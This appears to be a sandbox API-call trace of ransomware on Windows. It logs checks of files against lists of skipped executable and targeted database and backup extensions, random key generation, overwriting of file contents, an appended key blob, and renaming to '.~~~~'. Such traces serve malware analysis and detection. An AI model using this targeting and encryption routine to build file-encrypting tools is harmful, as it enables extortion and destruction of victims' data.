	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".VHDX") returned 0x0
	[0145.723] lstrlenW (lpString=".ndf") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".ndf") returned 0x0
	[0145.723] lstrlenW (lpString=".DB") returned 3
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DB") returned 0x0
	[0145.723] lstrlenW (lpString=".sql") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".sql") returned 0x0
	[0145.723] lstrlenW (lpString=".MYD") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".MYD") returned 0x0
	[0145.723] lstrlenW (lpString=".DBT") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DBT") returned 0x0
	[0145.723] lstrlenW (lpString=".ACCDB") returned 6
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".ACCDB") returned 0x0
	[0145.723] lstrlenW (lpString=".fdb") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".fdb") returned 0x0
	[0145.723] lstrlenW (lpString=".bak") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".bak") returned 0x0
	[0145.723] lstrlenW (lpString=".myd") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".myd") returned 0x0
	[0145.723] lstrlenW (lpString=".DTXS") returned 5
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".DTXS") returned 0x0
	[0145.723] lstrlenW (lpString=".ckp") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".ckp") returned 0x0
	[0145.723] lstrlenW (lpString=".dbt") returned 4
	[0145.723] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".dbt") returned 0x0
	[0145.724] lstrlenW (lpString=".db") returned 3
	[0145.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".db") returned 0x0
	[0145.724] lstrlenW (lpString=".TXT") returned 4
	[0145.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".TXT") returned 0x0
	[0145.724] lstrlenW (lpString=".MDF") returned 4
	[0145.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".MDF") returned 0x0
	[0145.724] lstrlenW (lpString=".bdb") returned 4
	[0145.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".bdb") returned 0x0
	[0145.724] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.724] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.724] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.725] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.725] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.725] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26571532561) returned 1
	[0145.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc042e6d0, dwHighDateTime=0x1d60e1e)) 
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800e8
	[0145.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800e8 | out: hHeap=0x300000) returned 1
	[0145.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7128
	[0145.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.726] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.726] GetLastError () returned 0x0
	[0145.726] GetLastError () returned 0x0
	[0145.726] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.727] GetLastError () returned 0x0
	[0145.727] GetLastError () returned 0x0
	[0145.727] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xc570, lpOverlapped=0x0) returned 1
	[0145.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff3a90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.729] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xc570, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xc570, lpOverlapped=0x0) returned 1
	[0145.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.730] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.730] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.730] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.730] CloseHandle (hObject=0x114) returned 1
	[0145.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7128
	[0145.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.~~~~")) returned 1
	[0145.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7128 | out: hHeap=0x300000) returned 1
	[0145.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.778] GetLastError () returned 0x0
	[0145.778] RtlWakeConditionVariable () returned 0x365f70
	[0145.778] GetCurrentThreadId () returned 0x9cc
	[0145.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".scr") returned 0x0
	[0145.778] lstrlenW (lpString=".cmd") returned 4
	[0145.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".cmd") returned 0x0
	[0145.778] lstrlenW (lpString=".dll") returned 4
	[0145.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dll") returned 0x0
	[0145.778] lstrlenW (lpString=".bat") returned 4
	[0145.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".bat") returned 0x0
	[0145.778] lstrlenW (lpString=".cpl") returned 4
	[0145.778] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".cpl") returned 0x0
	[0145.779] lstrlenW (lpString=".sys") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".sys") returned 0x0
	[0145.779] lstrlenW (lpString=".msc") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".msc") returned 0x0
	[0145.779] lstrlenW (lpString=".com") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".com") returned 0x0
	[0145.779] lstrlenW (lpString=".lnk") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".lnk") returned 0x0
	[0145.779] lstrlenW (lpString=".msp") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".msp") returned 0x0
	[0145.779] lstrlenW (lpString=".pif") returned 4
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".pif") returned 0x0
	[0145.779] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.779] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0145.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.781] lstrlenW (lpString=".sqb") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.781] lstrlenW (lpString=".ost") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.781] lstrlenW (lpString=".txt") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.781] lstrlenW (lpString=".mdt") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".mdt") returned 0x0
	[0145.781] lstrlenW (lpString=".BDB") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".BDB") returned 0x0
	[0145.781] lstrlenW (lpString=".eql") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".eql") returned 0x0
	[0145.781] lstrlenW (lpString=".DBF") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DBF") returned 0x0
	[0145.781] lstrlenW (lpString=".EQL") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".EQL") returned 0x0
	[0145.781] lstrlenW (lpString=".FDB") returned 4
	[0145.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".FDB") returned 0x0
	[0145.781] lstrlenW (lpString=".EDB") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".EDB") returned 0x0
	[0145.782] lstrlenW (lpString=".DACPAC") returned 7
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0145.782] lstrlenW (lpString=".VHD") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".VHD") returned 0x0
	[0145.782] lstrlenW (lpString=".DBV") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DBV") returned 0x0
	[0145.782] lstrlenW (lpString=".dacpac") returned 7
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0145.782] lstrlenW (lpString=".sdf") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".sdf") returned 0x0
	[0145.782] lstrlenW (lpString=".accdb") returned 6
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".accdb") returned 0x0
	[0145.782] lstrlenW (lpString=".DBX") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DBX") returned 0x0
	[0145.782] lstrlenW (lpString=".MDT") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".MDT") returned 0x0
	[0145.782] lstrlenW (lpString=".SQB") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".SQB") returned 0x0
	[0145.782] lstrlenW (lpString=".vhd") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".vhd") returned 0x0
	[0145.782] lstrlenW (lpString=".bac") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".bac") returned 0x0
	[0145.782] lstrlenW (lpString=".mdf") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".mdf") returned 0x0
	[0145.782] lstrlenW (lpString=".BAK") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".BAK") returned 0x0
	[0145.782] lstrlenW (lpString=".BAC") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".BAC") returned 0x0
	[0145.782] lstrlenW (lpString=".dbs") returned 4
	[0145.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dbs") returned 0x0
	[0145.782] lstrlenW (lpString=".vhdx") returned 5
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0145.783] lstrlenW (lpString=".NDF") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".NDF") returned 0x0
	[0145.783] lstrlenW (lpString=".dat") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dat") returned 0x0
	[0145.783] lstrlenW (lpString=".DBS") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DBS") returned 0x0
	[0145.783] lstrlenW (lpString=".CKP") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".CKP") returned 0x0
	[0145.783] lstrlenW (lpString=".edb") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".edb") returned 0x0
	[0145.783] lstrlenW (lpString=".PST") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".PST") returned 0x0
	[0145.783] lstrlenW (lpString=".dbf") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dbf") returned 0x0
	[0145.783] lstrlenW (lpString=".SQL") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".SQL") returned 0x0
	[0145.783] lstrlenW (lpString=".pst") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".pst") returned 0x0
	[0145.783] lstrlenW (lpString=".dbv") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dbv") returned 0x0
	[0145.783] lstrlenW (lpString=".SDF") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".SDF") returned 0x0
	[0145.783] lstrlenW (lpString=".dtxs") returned 5
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0145.783] lstrlenW (lpString=".db3") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".db3") returned 0x0
	[0145.783] lstrlenW (lpString=".OST") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".OST") returned 0x0
	[0145.783] lstrlenW (lpString=".dbx") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dbx") returned 0x0
	[0145.783] lstrlenW (lpString=".DB3") returned 4
	[0145.783] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DB3") returned 0x0
	[0145.783] lstrlenW (lpString=".DAT") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DAT") returned 0x0
	[0145.784] lstrlenW (lpString=".VHDX") returned 5
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0145.784] lstrlenW (lpString=".ndf") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".ndf") returned 0x0
	[0145.784] lstrlenW (lpString=".DB") returned 3
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DB") returned 0x0
	[0145.784] lstrlenW (lpString=".sql") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".sql") returned 0x0
	[0145.784] lstrlenW (lpString=".MYD") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".MYD") returned 0x0
	[0145.784] lstrlenW (lpString=".DBT") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DBT") returned 0x0
	[0145.784] lstrlenW (lpString=".ACCDB") returned 6
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0145.784] lstrlenW (lpString=".fdb") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".fdb") returned 0x0
	[0145.784] lstrlenW (lpString=".bak") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".bak") returned 0x0
	[0145.784] lstrlenW (lpString=".myd") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".myd") returned 0x0
	[0145.784] lstrlenW (lpString=".DTXS") returned 5
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0145.784] lstrlenW (lpString=".ckp") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".ckp") returned 0x0
	[0145.784] lstrlenW (lpString=".dbt") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".dbt") returned 0x0
	[0145.784] lstrlenW (lpString=".db") returned 3
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".db") returned 0x0
	[0145.784] lstrlenW (lpString=".TXT") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".TXT") returned 0x0
	[0145.784] lstrlenW (lpString=".MDF") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".MDF") returned 0x0
	[0145.784] lstrlenW (lpString=".bdb") returned 4
	[0145.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".bdb") returned 0x0
	[0145.785] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.785] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.786] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.786] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.786] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26577621652) returned 1
